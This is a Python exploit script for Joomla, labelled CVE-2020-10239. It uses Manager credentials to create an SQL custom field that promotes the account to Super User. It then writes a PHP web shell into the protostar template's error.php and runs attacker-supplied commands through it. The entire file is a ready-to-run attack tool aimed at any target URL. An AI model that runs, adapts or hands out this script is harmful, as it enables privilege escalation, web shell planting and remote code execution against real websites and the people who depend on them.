#!/usr/bin/python
#CVE-2020-10239
import sys
import requests
import re
import argparse
import random
def extract_token(resp):
match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
if match is None:
print("[-] Cannot find CSRF token!\n")
return None
return match.group(1)
def try_admin_login(sess, url, uname, upass):
admin_url = url + '/administrator/index.php'
print('[+] Getting token for Manager login')
resp = sess.get(admin_url, verify=True)
token = extract_token(resp)
if not token:
return False
print('[+] Logging in to Manager')
data = {
'username': uname,
'passwd': upass,
'task': 'login',
token: '1'
}
resp = sess.post(admin_url, data=data, verify=True)
if 'task=profile.edit' not in resp.text:
print('[!] Manager Login Failure!')
return None
print('[+] Manager Login Successfully!')
return True
def check_admin(sess, url):
url_check = url + '/administrator/index.php?option=com_content'
resp = sess.get(url_check, verify=True)
token = extract_token(resp)
if not token:
print "[-] You are not Manager!"
sys.exit()
return token
def getManagerId(url, sess):
url_get = url + '/administrator/index.php?option=com_admin&view=profile&layout=edit'
resp = sess.get(url_get, verify=True)
# get id
return re.findall('id=\d+', resp.text)
def createNewField(url, sess,token):
data = {
'jform[title]': 'SQL query',
'jform[type]': 'text',
'jform[name]': 'SQL query',
'jform[label]': 'SQL query',
'jform[description]': 'SQL query',
'jform[required]': 1,
'jform[state]': 1,
'jform[group_id]': 0,
'jform[access]': 1,
'jform[language]': '*',
'jform[params][showlabel]': 1,
'jform[params][display]': 2,
'jform[params][display_readonly]': 2,
'jform[id]': 0,
'jform[context]': 'com_content.article',
'task': 'field.apply',
token: 1
}
resp = sess.post(url + "/administrator/index.php?option=com_fields&context=com_content.article", data=data, verify=True)
id = re.findall('id=\d+', resp.text)
id_account = getManagerId(url, sess)
ran = '%d' % random.randrange(1, 10000)
url_post = url + '/administrator/index.php?option=com_fields&context=com_content.article&layout=edit&' + id[0]
newdata = {
'jform[title]': 'SQL query ' + ran,
'jform[type]': 'sql',
'jform[name]': 'SQL query ' + ran,
'jform[label]': 'SQL query ' + ran,
'jform[description]': 'SQL query',
'jform[required]': 1,
'jform[fieldparams][query]': 'UPDATE #__user_usergroup_map SET group_id = 8 WHERE user_' + id_account[
0] + ' AND group_id BETWEEN 6 AND 7; ',
'jform[state]': 1,
'jform[group_id]': 0,
'jform[access]': 1,
'jform[language]': '*',
'jform[params][showlabel]': 1,
'jform[params][display]': 2,
'jform[params][display_readonly]': 2,
'jform[id]': id,
'task': 'field.apply',
'jform[context]': 'com_content.article',
token: 1
}
newdata['task'] = 'field.apply'
sess.post(url_post, data=newdata, verify=True)
# Trigger SQL query
url_sql = url + '/administrator/index.php?option=com_content&view=article&layout=edit'
sess.get(url_sql, verify=True)
def checkSuperAdmin(url, sess):
print("[+] Checking Super-admin")
url_config = url + '/administrator/index.php?option=com_config'
resp = sess.get(url_config, verify=True)
results = re.findall(r'name="([^"]+)"\s+[^>]*?value="([^"]+)"', resp.text, re.S)
if not results:
print("[!] Fail!" + ' You are not super-admin account')
return False
else:
print "[+] Done!"
return True
def rce(sess, url, cmd, token):
filename = 'error.php'
shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
shdata_up = {
'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>",
'task': 'template.apply',
token: '1',
'jform[extension_id]': '506',
'jform[filename]': '/' + filename
}
sess.post(shlink, data=shdata_up)
path2shell = '/templates/protostar/error.php?cmd=' + cmd
# print '[+] Shell is ready to use: ' + str(path2shell)
print '[+] Checking:'
shreq = sess.get(url + path2shell)
shresp = shreq.text
print shresp + '[+] Shell link: \n' + (url + path2shell)
print '[+] Module finished.'
def main():
# Construct the argument parser
ap = argparse.ArgumentParser()
# Add the arguments to the parser
ap.add_argument("-url", "--url", required=True,
help=" URL for your Joomla target")
ap.add_argument("-u", "--username", required=True,
help="username")
ap.add_argument("-p", "--password", required=True,
help="password")
ap.add_argument("-cmd", "--command", default="whoami",
help="command")
args = vars(ap.parse_args())
# target
url = format(str(args['url']))
print '[+] Your target: ' + url
# username
uname = format(str(args['username']))
# password
upass = format(str(args['password']))
# command
command = format(str(args['command']))
# session
sess = requests.Session()
if not try_admin_login(sess, url, uname, upass): sys.exit()
token = check_admin(sess, url)
# trigger SQL query
createNewField(url, sess,token)
# Now you are Super-admin
if (checkSuperAdmin(url, sess)):
# call RCE
rce(sess, url, command, token)
if __name__ == "__main__":
sys.exit(main())